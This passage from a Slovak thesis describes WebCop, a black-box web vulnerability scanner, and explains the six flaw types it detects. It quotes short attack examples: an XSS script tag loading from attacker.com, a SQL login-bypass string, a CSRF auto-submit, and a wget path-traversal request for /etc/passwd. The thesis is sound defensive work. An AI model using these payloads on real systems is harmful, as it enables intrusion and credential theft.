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Abstrakt: Vy´znamny´m a cˇasty´m proble´mom webovy´ch aplika´ci´ı su´ bezpecˇ-
nostne´ chyby, z ktory´ch vel’ka´ cˇast’ sa da´ pomerne presne deterministicky´m
algoritmom identifikovat’ pomocou na to urcˇene´ho sˇpecializovane´ho softwaru.
Na´stroj WebCop vyvinuty´ v ra´mci tejto pra´ce doka´zˇe lokalizovat’ vo we-
bovy´ch aplika´cia´ch vybrane´ bezpecˇnostne´ zranitel’nosti. Jeho vy´hoda oproti
bezˇne dostupne´mu softwaru spocˇ´ıva v konfigurovatel’nosti preva´dzany´ch tes-
tov, kde samotny´ uzˇ´ıvatel’ definuje podmienky urcˇuju´ce pr´ıtomnost’ konkre´t-
nej zranitel’nosti. Na´stroj je implementovany´ v jazyku C++ a je urcˇeny´ pre
platformu Unix/Linux.
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Abstract: Security vulnerabilities, while being an important and common
problem of web applications, are often easily detectable by using specialised
software. The WebCop tool developed in this thesis is able to spot some
of the common web application security vulnerabilities. Its main advantage
over other similar software lies in its ability to configure the way in which
the individual tests are performed, also allowing the user to specify the con-
ditions that are required to be met in order to acknoledge the presence of
the given security vulnerability. The tool is developed for the Unix/Linux
platform using the C++ language.
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Kapitola 1
U´vod
Doˆlezˇitou vlastnost’ou webovy´ch aplika´ci´ı, ktora´ by mala byt’ brana´ na zre-
tel’ uzˇ v dobe na´vrhu, je bezpecˇnost’. Zˇial’ dnes je tento pojem v su´vislosti s
webovy´mi aplika´ciami cˇasto podcenˇovany´. To moˆzˇe mat’ va´zˇne priame cˇi ne-
priame doˆsledky, ktory´ch pravdepodobnost’ je zvysˇovana´ vysoky´m vy´skytom
najroˆznejˇs´ıch webovy´ch sluzˇieb. Medzi typicke´ na´sledky patr´ı predovsˇetky´m
z´ıskanie doˆverny´ch informa´ci´ı tret´ımi stranami, pr´ıpadne neopra´vnene´ vyu-
zˇitie prostriedkov cez zranitel’ne´ webove´ rozhranie.
Te´mou tejto pra´ce je popis na´stroja WebCop na black-box testovanie bez-
pecˇnosti webovy´ch aplika´ci´ı. To znamena´ testovanie aplika´cie bez znalosti jej
zdrojove´ho ko´du, iba na za´klade reakci´ı na sˇpecia´lne zvolene´ vstupne´ data.
Ciel’om tohto na´stroja je pomoˆct’ webovy´m vy´voja´rom zautomatizovat’ a
ty´m zjednodusˇit’ testovanie ich aplika´ci´ı na niekol’ko vybrany´ch za´kladny´ch
zna´mych typov bezpecˇnostny´ch zranitel’nost´ı.
Na´stroj WebCop teraz podporuje sˇest’ typov webovy´ch zranitel’nost´ı, ale je
mozˇne´ ho d’alej rozsˇ´ırit’ o detekciu d’alˇs´ıch zranitel’nost´ı. Konkre´tne obsahuje
podporu pre tieto zranitel’nosti:
1. Cross-site scripting
2. SQL injection
3. Cross-site Request Forgery
4. Remote file inclusion
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5. Local file inclusion
6. Upload vulnerabilities
To zˇe sa tieto zranitel’nosti vo webovy´ch aplika´cia´ch skutocˇne vyskytuju´
moˆzˇem dolozˇit’ sˇtatistikou z projektu OWASP Top Ten Project [2], ktory´ sa
snazˇ´ı identifikovat’ 10 najvy´znamnejˇs´ıch bezpecˇnostny´ch zranitel’nost´ı we-
bovy´ch aplika´ci´ı.
Obr. 1.1: Desat’ najvy´znamnejˇs´ıch bezpecˇnostny´ch proble´mov webovy´ch ap-
lika´ci´ı
Tento st´lpcovy´ graf zobrazuje percentua´lne zastu´penie jednotlivy´ch typov
zranitel’nost´ı medzi verejne zna´mymi bezpecˇnostny´mi zranitel’nost’ami zo-
zbierany´mi v databa´ze CVE spravovanou spolocˇnost’ou The MITRE Cor-
poration. Zranitel’nost’i SQL Injection su´ su´cˇast’ou st´lpca Injection Flaws,
zranitel’nost’ Local File Inclusion je su´cˇast’ou st´lpca Insecure Direct Object
Reference, Remote File Inclusion a Upload vulnerabilities su´ su´cˇast’ou st´lpca
Malicious File Execution.
Ta´to sˇtatistika bola zostavena´ z da´t Mitre Vulnerability Trends [3] pre rok
2006, z ktory´ch sa vybralo 10 najvy´znamnejˇs´ıch bezpecˇnostny´ch proble´mov
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webovy´ch aplika´ci´ı. Cˇervena´ farba st´lpca znacˇ´ı, zˇe dana´ zranitel’nost’ patr´ı
do prvej desiatky z hl’adiska pocˇtu vsˇetky´ch zranitel’nost´ı nahla´seny´ch v
pr´ıslusˇny´ rok. Zˇlta´ farba znacˇ´ı, zˇe ta´to zranitel’nost’ bola asponˇ 5% nad
priemerom. V tejto top desiatke sa nacha´dza aj CSRF, cˇo autori projektu
OWASP Top Ten oddoˆvodnˇuju´ ty´m, zˇe skutocˇny´ vy´skyt tejto zranitel’nosti
je vysˇsˇ´ı, ako ukazuje jej ranking [2].
Text tejto pra´ce je rozcˇleneny´ do siedmych kapitol. Prvu´ kapitolu tvor´ı u´vod.
V druhej kapitole strucˇne predstavujem podporovane´ typy bezpecˇnostny´ch
zranitel’nost´ı. Tretia kapitola ponu´ka analy´zu proble´mu automatizovane´ho
testovania webovy´ch aplika´ci´ı na bezpecˇnostne´ zranitel’nosti. Vo sˇtvrtej ka-
pitole popisujem programa´torsku´ dokumenta´ciu na´stroja WebCop. Piata
kapitola tvor´ı uzˇ´ıvatel’sku´ dokumenta´ciu, vra´tane podrobne´ho popisu konfi-
gura´cie na´stroja. V sˇiestej kapitole sa nacha´dza porovnanie kladov a za´porov
na´stroja WebCop a iny´ch dostupny´ch podobny´ch na´strojov. V siedmej ka-
pitole ponu´kam za´verecˇne´ zhrnutie.
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Kapitola 2
Podporovane´ zranitel’nosti
2.1 Cross Site Scripting
XSS is the New Buffer Overflow,
JavaScript Malware is the New Shell
Code.
Jeremiah Grossman
Zranitel’nosti Cross Site Scripting alebo XSS sa nacha´dzaju´ vo webovy´ch
aplika´ciach, ktore´ umozˇnˇuju´ u´tocˇn´ıkovi sˇpecia´lnym zvolen´ım vstupny´ch da´t
manipulovat’ s client-side ko´dom webovej aplika´cie. Ty´m je uzˇ´ıvatel’ovi umozˇ-
nene´ manipulovanie s DOM webovej aplika´cie, u´tocˇn´ık ma tiezˇ k dispoz´ıcii
klientske´ skriptovacie jazyky, ako napr´ıklad JavaScript. To moˆzˇe mat’ podl’a
povahy XSS za na´sledok zmenu vzhl’adu webovej stra´nky, ukradnutie au-
tentifikacˇny´ch cookies, pr´ıpadne vykonanie pokrocˇilejˇs´ıch u´tokov pomocou
XSS-Proxy.
Podl’a OWASP Testing Guide [1] rozozna´vame 4 typy zranitel’nost´ı XSS.
1. Reflected Cross Site Scripting (OWASP-DV-001)
2. Stored Cross Site Scripting (OWASP-DV-002)
3. DOM based Cross Site Scripting (OWASP-DV-003)
4. Cross Site Flashing (OWASP-DV-004)
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Na´stroj WebCop umozˇnˇuje detekciu zranitel’nost´ı Reflected Cross Site Sc-
ripting, v niektory´ch pr´ıpadoch aj zranitel’nost´ı Stored Cross Site Scripting
a DOM based Cross Site Scripting.
2.1.1 Reflected Cross Site Scripting
Tento typ zranitel’nosti je zna´my aj ako neprezistentne´ XSS. Ide o pr´ıpady,
kedy sa u´tocˇn´ıkov ko´d nespu´sˇt’a vzˇdy pri nacˇ´ıtan´ı zranitel’nej aplika´cie, ale je
spoˆsobeny´ ty´m, zˇe obet’ spustila aplika´ciu pomocou u´tocˇn´ıkom podstrcˇenej
URL adresy.
2.1.2 Stored Cross Site Scripting
Ta´to zranitel’nost’ nasta´va, ked’ webova´ aplika´cia zbiera uzˇ´ıvatel’ske´ data, ne-
filtruje ich korektne a tieto data uklada´ pre neskorsˇie pouzˇitie. Ako na´sledok
sa tieto data zobrazia ako su´cˇast’ webovej aplika´cie.
2.1.3 DOM based Cross Site Scripting
Ide o pr´ıpady, kedy sa ako su´cˇast’ webovej stra´nky vyp´ıˇse hodnota elementu
DOM danej stra´nky, ktoru´ ma´ u´tocˇn´ık pod kontrolou. To je mozˇne´ ak sa
napr´ıklad do webovej stra´nky vyp´ıˇse hodnota document.referrer, alebo do-
cument.location a d’alˇsie.
2.1.4 Cross Site Flashing
V tomto type zranitel’nost´ı sa manipuluje s ActionScript ko´dom, ktory´ sa
pouzˇ´ıva vo Flash aplika´ciach.
2.1.5 Pr´ıklad
Tento pr´ıklad je prevzaty´ z [1]. Pri black-box testovan´ı na zranitel’nost’ XSS
u´tocˇn´ık sku´sˇa roˆzne testovacie vektory ktore´ sa snazˇia ob´ıst’ filtrovacie me-
chanizmy aplika´cie. Predpokladajme, zˇe su´cˇast’ou webovej aplika´cie je na-
sleduju´ci ko´d:
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<?
$re = ”/<script[∧ >]+src/i”;
if (preg match($re, $ GET[’var’])) {
echo ”Filtered”;
return;
}
echo ”Welcome ” . $ GET[’var’] . ”!”;
? >
V tomto pr´ıpade regula´rny vy´raz filtruje vstupy typu:
<script [l’ubovol’ny´ znak okrem >] src
Tento filter je vhodny´ pre vy´razy ako napr´ıklad:
<script src=”http://www.attacker.com/xss.js” > </script>
Potencia´lny u´tocˇn´ık ale tento filter doka´zˇe ob´ıst’, ak do atribu´tu medzi script
a src vlozˇ´ı znak ”>”, napr´ıklad takto:
<script a=”>” src=”http://www.attacker.com/xss.js” > </script>
Ta´to problematika je podrobnejˇsie rozobrana´ napr´ıklad v [5]
2.2 SQL injection
Ta´to zranitel’nost’ sa nacha´dza spravidla v serverovej cˇasti webovej aplika´cie,
kde sa vytva´ra dotaz do databa´ze na za´klade nespra´vne skontrolovane´ho
uzˇ´ıvatel’ske´ho vstupu. Za vhodny´ch podmienok sˇikovny´ uzˇ´ıvatel’ doka´zˇe zma-
nipulovat’ dany´ SQL dotaz. U´tocˇn´ık moˆzˇe pomocou techniky SQL injection
z´ıskat’ pr´ıstup k citlivy´m datam z databa´ze, modifikovat’ tieto data, vyko-
nat’ administra´torske´ opera´cie na databa´ze (shutdown databa´zy), pr´ıpadne
z´ıskat’ obsah su´boru nacha´dzaju´ceho sa na filesyste´me databa´zy. [1]
Podl’a [1] rozliˇsujeme nasleduju´ce typy SQL injection
1. Inband - Data z´ıskavame z rovnake´ho komunikacˇne´ho kana´la, aky´m
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sme injektovali SQL ko´d. Je to priamocˇiary spoˆsob u´toku, kedy su
z´ıskane´ data prezentovane´ ako su´cˇast’ webovej aplika´cie.
2. Out-of-band - Data z´ıskavame z ine´ho kana´la (Napr´ıklad z vy´sledkov
dotazu je generovany´ email, ktory´ je odoslany´ u´tocˇn´ıkovi)
3. Inferential - Nedocha´dza k doslovne´mu transferu citlivy´ch da´t - u´tocˇn´ık
z´ıskava informa´cie pozorovan´ım reakci´ı DB serveru na sˇpecia´lne zvo-
lene´ dotazy
Na´stroj WebCop podporuje detekciu Inband SQL Injection.
Neza´visle na hore prezentovany´ch typoch SQL injekcii, u´spesˇny´ SQL in-
jection u´tok vyzˇaduje vytvorenie syntakticky spra´vneho SQL dotazu. V
pr´ıpade zˇe aplika´cia vracia chybovu´ hla´sˇku generovanu´ nespra´vnym dota-
zom, je cˇasto mozˇna´ konsˇtrukcia syntakticky spra´vneho dotazu na za´klade
pra´ve taky´chto chybovy´ch hla´sˇok. Ak aplika´cia skr´ıva detaily chybovy´ch
hla´sˇok, u´tocˇn´ık mus´ı vytvorit’ u´spesˇny´ u´tok pozorovan´ım spra´vania sa webu
na roˆzne cˇiastkove´ jednoduchsˇie SQL injekcie. Tento pr´ıpad je zna´my aj pod
pojmom Blind SQL Injection.
2.2.1 Pr´ıklad
V [1] je uvedeny´ tento pr´ıklad: Predpokladajme, zˇe webova´ aplika´cia preva´dza
uzˇ´ıvatel’sku´ autentifika´ciu nasleduju´cim SQL dotazom:
SELECT * FROM Users WHERE
Username=”$username” AND
Password=”$password”
Ak tento dotaz vra´ti riadok z tabul’ky Users, znamena´ to zˇe v tejto tabul’ke
existuje uzˇ´ıvatel’ s pr´ıslusˇny´m heslom. V takom pr´ıpade je pr´ıstup do webo-
vej aplika´cie umozˇneny´, v opacˇnom pr´ıpade sa pr´ıstup do webovej aplika´cie
odoprie. Login a heslo sa do webovej aplika´cie zada´va zvycˇajne pomocou
prihlasovacieho formula´ra. u´tocˇn´ık moˆzˇe zadat nasleduju´ce u´daje:
$username = 1” or ”1” = ”1
$password = 1” or ”1” = ”1
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Ak tieto vstupne´ data nebudu´ osˇetrene´, vykona´ sa nasleduju´ci SQL dotaz:
SELECT * FROM Users WHERE
Username=”1” or ”1” = ”1” AND
Password=”1” or ”1” = ”1”
Pretozˇe tento dotaz vracia riadky z tabul’ky User, webova´ aplika´cia u´tocˇn´ıkovi
umozˇn´ı sa prihla´sit’ bez znalosti hesla. V niektory´ch syste´moch bude prvy´
vra´teny riadok administra´torsky uzˇ´ıvatel’, cˇo moˆzˇe mat’ za na´sledok prihla´senie
do aplika´cie s administra´torsky´mi privile´giami.
2.3 Cross Site Request Forgery
Pri tomto u´toku u´tocˇn´ık spoˆsob´ı koncove´mu uzˇ´ıvatel’ovi spustenie nezˇelany´ch
akci´ı v kontexte webovej aplika´cie ku ktorej je uzˇ´ıvatel’momenta´lne prihla´seny.
S mensˇiou da´vkou social engineeringu (odoslanie odkazu/obra´zku mailom,
chatom) si koncovy´ uzˇ´ıvatel’ vyvola´ v browseri zobrazenie webovej stra´nky
na adrese pripravenej u´tocˇn´ıkom. To moˆzˇe mat’ za na´sledok odoslanie for-
mula´rov do zranitel’ny´ch skriptov webovej aplika´cie, pr´ıpadne vyvolanie d’alˇs´ıch
akci´ı v kontexte danej webovej aplika´cie. Ta´to problematika je podrobnejˇsie
rozobrana´ napr´ıklad v [1].
2.3.1 Pr´ıklad
Predpokladajme, zˇe ma´me webovu´ aplika´ciu ktora´ ponu´ka pr´ıstup k mailovej
schra´nke. Su´cˇast’ou tejto aplika´cie je aj formula´r pomocou ktore´ho je mozˇne´
definovat’ filtre na pricha´dzaju´cu posˇtu a podl’a ty´chto filtrov pricha´dzaju´ce
maily preposielat’ na inu´ adresu, pr´ıpadne mazat’. Dˇalej predpoklada´me, zˇe
tento formula´r nie je chra´neny´ heslom, syste´mom CAPTCHA ani zˇiadnym
skryty´m na´hodny´m tokenom ktory´ je su´cˇast’ou formula´ra a ktore´ho pravost’
sa pri spracovan´ı formula´ra kontroluje.
U´tocˇn´ık moˆzˇe obeti zaslat’ mail s odkazom na svoju stra´nku, na ktoru´ umiest-
nil vyplneny´ formula´r identicky´ s ty´m, ktory´ sa vo webovej aplika´cii pouzˇ´ıva
na definovanie filtrov pricha´dzaju´cej posˇty. Ak je parameter id tohto for-
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mula´ra na u´tocˇn´ıkovej webovej stra´nke rovny´ hodnote ”fform”, moˆzˇe u´tocˇn´ık
element body na svojej stra´nke uviest’ takto:
<body onload=”document.getElementById(’fform’).submit()” >
To bude mat’ za na´sledok automaticke´ odoslanie formula´ra webovej aplika´cii
pri nacˇ´ıtan´ı u´tocˇn´ıkovej webovej stra´nky. V pr´ıpade zˇe obet’ je momenta´lne
vo webovej aplika´cii prihla´sena, webovy´ prehliadacˇ spolu s formula´rom na
server odosˇle aj autentizacˇne´ cookies a u´tocˇn´ık ty´mto spoˆsobom doka´zˇe obeti
nastavit’ l’ubovol’ny´ filter na pricha´dzaju´cu posˇtu. Samozrejme u´tocˇn´ık ma´
vel’a mozˇnosti ako tento u´tok zamaskovat’ aby si uzˇ´ıvatel’ nicˇ nevsˇimol. Stacˇ´ı
zˇe na svoju stra´nku umiestni napr´ıklad miniatu´rny iframe a formula´r s
javascript-ovy´m ko´dom na jeho automaticke´ odoslanie bude su´cˇast’ou do-
kumentu zobrazene´ho v elemente iframe.
2.4 Remote File Inclusion
Ta´to zranitel’nost’ sa moˆzˇe nacha´dzat’ v serverovej cˇasti webovej aplika´cie
(napr. php skript), kde sa inkluduje d’alˇs´ı skript, ktore´ho na´zov (pr´ıpadne
jeho cˇast’) ma´ pod kontrolou uzˇ´ıvatel’. U´tocˇn´ık tam moˆzˇe dosadit’ adresu
svojho skriptu, ktory´ mu prevedie zˇelane´ akcie. Jedna´ sa napr´ıklad o preda´vanie
na´zvu skriptu parametrom URL, ktory´ nie je dostatocˇne kontrolovany´. Pra´ve
tu´to variantu doka´zˇe na´stroj WebCop detekovat’. Ta´to te´ma je podrobnejˇsie
spracovana´ napr´ıklad v [4].
Samotny´ ko´d, ktory´ je RFI zranitel’ny´ moˆzˇe vyzerat’ podobne ako je uve-
dene´ v nasleduju´cej uka´zˇke na LFI zranitel’nost’. To cˇi sa Remote File Inclu-
sion da´ skutocˇne previest’ cˇasto za´vis´ı na d’alˇs´ıch faktoroch. V pr´ıpade php
aplika´ci´ı su´ relevantne´ predovsˇetky´m nastavenia nasleduju´cich pr´ıznakov:
register globals, allow url fopen, allow url include.
2.5 Local File Inclusion
Pri tejto zranitel’nosti sa u´tocˇn´ık snazˇ´ı do webovej aplika´cie zakomponovat’
su´bory nacha´dzaju´ce sa na danom serveri, ku ktory´m by obycˇajne uzˇ´ıvatel’
nemal mat’ pr´ıstup. Jedna sa napr´ıklad o skripty na st’ahovanie su´borov,
ktore´ nekontroluju´ dostatocˇne meno su´boru na stianutie. Pomocou taky´chto
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skriptov moˆzˇe u´tocˇn´ık z´ıskat’ pr´ıstup na unixe napr´ıklad k su´boru /etc/passwd.
V pr´ıpade zˇe sa taky´to su´bor vo webovej aplika´cii esˇte prevedie interpre-
tom (napr´ıklad php), moˆzˇe u´tocˇn´ık priamo urcˇovat’ (v tomto pr´ıpade php)
pr´ıkazy, ktore´ sa v ra´mci webovej aplika´cie prevedu´. Taka´to situa´cia nastane
ak napr´ıklad uzˇ´ıvatel’ doka´zˇe zariadit’, aby sa do aplika´cie nainkludoval Apa-
che log, do ktore´ho u´tocˇn´ık predty´m vhodny´mi webovy´mi dotazmi vlozˇil svoj
(php) ko´d. Tejto te´me sa podrobnejˇsie venuje napr´ıklad [4].
2.5.1 Pr´ıklad
Nasleduje rea´lny pr´ıklad zranitel’nosti LFI v syste´me CodeDB zverejneny´
v [6]. Zranitel’ny´ ko´d vyzeral takto:
<?
$lang = htmlspecialchars($ GET[’lang’]);
if (file exists(’templates/’ . $lang . ’ middle.php’))
include(’templates/’ . $lang . ’ middle.php’)
? >
U´tocˇn´ık mohol pomocou tohto ko´du z´ıskat’ napr´ıklad su´bor /etc/passwd
taky´mto spoˆsobom:
./wget http://[host]/[codeDB path]/list.php?lang=../../../../etc/passwd%00
Na tomto pr´ıklade je predvedena´ aj technika Null Byte Injection, ked’ u´tocˇn´ık
do mena su´boru vklada´ byte s hodnotou nula, cˇ´ım spoˆsob´ı ignorovanie
pr´ıpony ktora´ sa v ko´de skriptu prida´va k na´zvu inkludovane´ho su´boru.
2.6 Upload vulnerabilities
V tomto pr´ıpade sa jedna´ o zranitel’nost’, kedy webova´ aplika´cia umozˇnˇuje
upload su´borov, ktory´ch pr´ıtomnost’ na serveri moˆzˇe u´tocˇn´ık zneuzˇit’. Ty-
picky´m pr´ıkladom je aplika´cia, ktora´ umozˇn´ı upload skriptov, ktore´ server
pri pozˇiadan´ı o ich zobrazenie zinterpretuje. Vel’mi zauj´ımavy´m pr´ıkladom
zneuzˇitia tejto zranitel’nosti je technika GIFAR, ktora´ z´ıskala prve´ miesto v
su´t’azˇi Top Ten Web Hacking Techniques of 2008. Tejto te´me sa venuje [8].
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Kapitola 3
Analy´za proble´mu
3.1 Prehl’ad existuju´cich riesˇen´ı
3.1.1 w3af - Web Application Attack and Audit Fra-
mework
Autorom na´stroja w3af [9] je Andres Riancho, zakladatel’ a information se-
curity researcher v spolocˇnosti Bonsai. Ciel’om tohto Open Source projektu
je vytvorenie rozsˇ´ıritel’ne´ho frameworku na vyhl’ada´vanie a zneuzˇ´ıvanie zra-
nitel’nost´ı webovy´ch aplika´cii. Tento projekt je implementovany´ v skriptova-
ciom jazyku Python. Cely´ tento framework je rozdeleny´ do dvoch cˇast´ı, core
a pluginy. Core koordinuje procesy a poskytuje sluzˇby ktore´ vyuzˇ´ıvaju´ jed-
notlive´ pluginy. Pluginy poskytuju´ samotnu´ funkcionalitu ako prehl’ada´vanie
sˇtruktu´ri webovej aplika´cie a samotne´ black-box testovanie.
Z uzˇ´ıvatel’ske´ho hl’adiska je tento na´stroj pr´ıjemny´. Okrem prehl’adne´ho kon-
zolove´ho prostredia poskytuje aj graficke´ uzˇ´ıvatel’ske´ rozhranie. Pri testovan´ı
tohto na´stroja sa mi ale cˇasto sta´valo, zˇe test po cˇase spadol.
Ako za´kladnu´ nevy´hodu tohto na´stroja vid´ım predovsˇetky´m to, zˇe samotny´
uzˇ´ıvatel’ nema´ mozˇnost’ definovat’ ake´ attack vektory sa pri konkre´tnych tes-
toch pouzˇiju´.
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3.1.2 Wapiti
Na´stroj Wapiti [10] je Open Source skener zranitel’nosti webovy´ch aplika´ci´ı.
Jeho autorom je Nicolas Surribas. Podobne ako predcha´dzaju´ci framework,
je tento na´stroj implementovany´ v skriptovacoim jazyku Python. Spolocˇnou
cˇrtou frameworku w3af a na´stroja Wapity je, zˇe ani jeden z ty´chto na´strojov
neza´visia na externej databa´ze zranitel’nost´ı. Oba na´stroje sa snazˇia vybrane´
typy webovy´ch zranitel’nost´ı samostatne vyhl’ada´vat’ technikou black-box tes-
ting.
Tento na´stroj sa snazˇ´ı byt’ uzˇ´ıvatel’sky´ pr´ıjemny´. Dojem z neho vsˇak kaz´ı jeho
nestabilita, kde aj ked’ som testoval najnovsˇiu verziu tohto na´stroja, sta´le
mi pocˇas testu na vybrany´ch webovy´ch aplika´ciach skoˆr alebo neskoˆr spadol.
Podobne ako to je s na´strojom w3af, aj tu vn´ımam ako jeho za´kladnu´
nevy´hodu prakticky nulovu´ mozˇnost’ uzˇ´ıvatel’a sˇpecifikovat’ ake´ data sa pri
black-box testovan´ı budu´ na webovu´ aplika´ciu odosielat’.
3.1.3 Nikto
Na´stroj Nikto [11] je Open Source skener webovy´ch serverov. Jeho autorom
je Chris Sullo, CFO spolocˇnosti CIRT, Inc. Momenta´lne doka´zˇe preva´dzat’
testy na pr´ıtomnost’ asi 3500 potencia´lne nebezpecˇny´ch su´borov/CGI skrip-
tov, verzi´ı asi 900 webovy´ch serverov a konkre´tnych version-specific proble´mov
na viac ako 250 webovy´ch serverov.
Z toho zˇe na´stroj Nikto je prima´rne skener webovy´ch serverov a nie ske-
ner webovy´ch aplika´ci´ı vyply´va d’alˇs´ı principia´lny rozdiel ktory´m sa odliˇsuje
od predcha´dzaju´cich riesˇen´ı. Tento na´stroj preva´dza testy na konkre´tne
proble´my ktore´ ma´ uvedene´ vo svojej databa´ze, ty´m je u´cˇinnost’ na´stroja
obmedzena´ rozsiahlost’ou a frekvenciou updatovania danej databa´zy. Tento
spoˆsob testovania sa oznacˇuje aj ako Signature Based Testing.
3.1.4 Nessus
Autorom a spra´vcom projektu Nessus [12] je spolocˇnost’ Tenable Network
Security, Inc. Nessus je skener zamerany´ na audit bezpecˇnosti pocˇ´ıtacˇovy´ch
siet´ı. V ra´mci tejto funkcionality ponu´ka aj mozˇnosti na testovanie bezpecˇnosti
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webovy´ch serverov a webovy´ch aplika´ci´ı.
Podobne ako na´stroj Nikto aj tento na´stroj je za´visly´ na databa´ze zna´mych
konkre´tnych bezpecˇnostny´ch chy´b, ktory´ch pr´ıtomnost’ testuje. Okrem toho
vsˇak tento na´stroj umozˇnˇuje prehl’ada´vanie sˇtruktu´ry dokumentov webovej
stra´nky a samostatne´ vyhl’ada´vanie vybrany´ch typov bezpecˇnostny´ch zrani-
tel’nost´ı. Aj v tomto na´stroji vsˇak chy´ba mozˇnost’ konfigura´cie konkre´tnych
attack vektorov pomocou ktory´ch sa preva´dza na´sledne´ black-box testovanie
webovej aplika´cie.
3.2 Pozˇiadavky na na´stroj WebCop
Za´kladny´m pozˇiadavkom, ktory´ kladiem na na´stroj WebCop je principia´lna
schopnost’ detekovat’ typy webovy´ch zranitel’nost´ı ktore´ su´ pop´ısane´ v kapi-
tole 2. To cˇi na´stroj v konkre´tnej webovej aplika´cii odhal´ı konkre´tnu chybu
bude urcˇene´ predovsˇetky´m konfigura´ciou odpovedaju´ceho testu ktora´ urcˇ´ı
ake´ data sa na server odosˇlu a za aky´ch podmienok sa pr´ıtomnost’ zrani-
tel’nost’i vyhodnot´ı pozit´ıvne.
Na´stroj WebCop nebude za´visly´ na zˇiadnej externej databa´ze zverejneny´ch
bezpecˇnostny´ch chy´b v konkre´tnych webovy´ch aplika´ciach. Tento na´stroj
bude tieto chyby akt´ıvne vyhl’ada´vat’ syste´mom black-box testing.
Konfigura´cia a vy´stup na´stroja bude vo forma´te XML. Konfigurovatel’ny´
bude nie len na´stroj ako celok, ale uzˇ´ıvatel’ bude moˆct’ konfigurovat’ aj jed-
notlive´ moduly zodpovedne´ za prevedenie konkre´tnych testov. A to na takej
u´rovni, zˇe uzˇ´ıvatel’ bude mat’ priamu kontrolu nad datami ktore´ sa odosˇlu´ na
server. Takisto sˇpecifika´cia, za aky´ch podmienok sa pr´ıtomnost’ zranitel’nost’i
vyhodnot´ı pozit´ıvne je ponechana´ v cˇo najva¨cˇsˇiej miere na uzˇ´ıvatel’ovi.
Na´stroj bude poskytovat’ jednotne´ programa´trorske´ rozhranie na definova-
nie novy´ch testov bezpecˇnostny´ch zranitel’nost´ı. Konkre´tne pridanie d’alˇsieho
modulu do na´stroja na testovanie novej zranitel’nosti bude pre programa´tora
predstavovat’ vytvorenie triedy ktora´ ded´ı z na to urcˇenej ba´zovej triedy.
Ta´to nova´ trieda bude implementovat’ potrebne´ rozhranie.
Na´stroj bude nap´ısany´ v jazyku C++, je urcˇeny´ pre platformu Unix. Na´stroj
bude pripraveny´ pre beh na platforma´ch FreeBSD, GNU/Linux.
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Kapitola 4
Programa´torska´ dokumenta´cia
4.1 Pouzˇite´ algoritmy testovania zranitel’nost´ı
4.1.1 Cross Site Scripting
Pri testovan´ı zranitel’nost´ı XSS uzˇ´ıvatel’nakonfiguruje pravidla´, podl’a ktory´ch
ma´ na´stroj vyp´lnˇat’ webove´ formula´re. Na´stroj na kazˇdy´ formula´r, ktory´
na´jde na stra´nkach danej webovej aplika´cie, aplikuje tieto pravidla´. V doku-
mente, ktory´ sa mu vra´ti ako odpoved’ na odoslanie formula´ra skontroluje
pr´ıtomnost’ uzˇ´ıvatel’om definovanej XSS injekcie. Ak je pr´ıtomna´ a nacha´dza
sa v spustitel’nej podobe (nie je zakomentovana´ ani chra´nena´ uvodzovkami)
test vyhodnot´ı pozit´ıvne.
4.1.2 SQL Injection
Pri testovan´ı zranitel’nost´ı SQL Injection, podobne ako pri XSS uzˇ´ıvatel’ na-
konfiguruje pravidla´, podl’a ktory´ch ma´ na´stroj vyp´lnˇat’ webove´ formula´re.
Na´stroj postupne odosˇle vsˇetky formula´re webovej aplika´cie vyplnene´ podl’a
ty´chto pravidiel. Po kazˇdom odoslan´ı formula´ra sa testuje pr´ıtomnost’ iden-
tifikacˇne´ho ret’azca v odpovedi webovej aplika´cie. Rozdiel oproti testova-
niu zranitel’nost´ı XSS spocˇ´ıva v tom, zˇe sa nekontroluje, cˇi sa sˇpecifikovany´
ret’azec nacha´dza v HTML dokumente v spustitel’nej podobe.
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4.1.3 Cross Site Request Forgery
Pouzˇitie tohto na´stroja na automaticke´ vyhodnocovanie webovy´ch formula´rov
z hl’adiska CSRF zranitel’nosti je mozˇne´, iba ak ma´ dana´ webova´ aplika´cia
cˇast’ chra´nenu´ uzˇ´ıvatel’skou autentifika´ciou. Ta´to autentifika´cia mus´ı prebie-
hat’ pomocou HTML formula´ra na login a heslo. Po u´spesˇnom prihla´sen´ı
d’alej na´stroj predpoklada´, zˇe od webove´ho servera obdrzˇ´ı cookies a s pomo-
cou ty´chto cookies bude na´stroju umozˇnena´ naviga´cia v heslom chra´nenej
cˇasti webovej aplika´cii. Na´stroj po prihla´sen´ı zacˇne tu´to webovu´ aplika´ciu
prehl’ada´vat’ a pre kazˇdy´ webovy´ formula´r, ktory´ na´jde, skontroluje cˇi je
dostupny´ aj pre neprihla´sene´ho uzˇ´ıvatel’a (Bez autentifikacˇny´ch cookies).
V pr´ıpade zˇe formula´r je nedostupny´ pre neprihla´sene´ho uzˇ´ıvatel’a, na´stroj
skontroluje cˇi je su´cˇast’ou formula´ra randomizacˇny´ anti-CSRF token. V pr´ı-
pade zˇe nie, test dane´ho formula´ra na pr´ıtomnost’ CSRF zranitel’nosti sa vy-
hodnot´ı pozit´ıvne. Ak je su´cˇast’ou sku´mane´ho webove´ho formula´ra HTML
element na vlozˇenie hesla, na´stroj automaticky tento formula´r vyhodnot´ı
negat´ıvne.
Tento spoˆsob testovania CSRF zranitel’nosti je nastaveny´ na situa´ciu bezˇny´ch
webovy´ch aplika´cii dnes dostupny´ch na internete. Samotny´ test je v tomto
pr´ıpade bezpecˇny´ v zmysle, zˇe nedocha´dza k samotne´mu odosielaniu we-
bovy´ch formula´rov. Tento test je zalozˇeny´ na predpoklade, zˇe potencia´lne
nebezpecˇny´ formula´r je iba formula´r, ku ktore´mu ak chce uzˇ´ıvatel’ z´ıskat’
pr´ıstup, mus´ı sa najprv prihla´sit’ do webovej aplika´cie. Ty´mto eliminujem
roˆzne vyhl’ada´vacie a im podobne´ formula´re vo webovy´ch aplika´ciach, ktore´
s´ıce moˆzˇu byt’ CSRF zranitel’ne´, ale pri nich u´tok nema´ prakticky´ vy´znam.
Dˇalej je test zalozˇeny´ na predpoklade, zˇe jedina´ u´cˇinna´ ochrana webove´ho
formula´ra pred CSRF u´tokom je ochrana heslom, alebo na´hodny´m tokenom.
Som si vedomy´, zˇe existuju´ aj ine´ u´cˇinne´ ochrany webovy´ch formula´rov pred
zranitel’nost’ami CSRF. Jedna´ sa napr´ıklad o pouzˇitie syste´mu CAPTCHA,
pr´ıpadne pouzˇitie d’alˇs´ıch ko´dov zaslany´ch iny´m komunikacˇny´m kana´lom
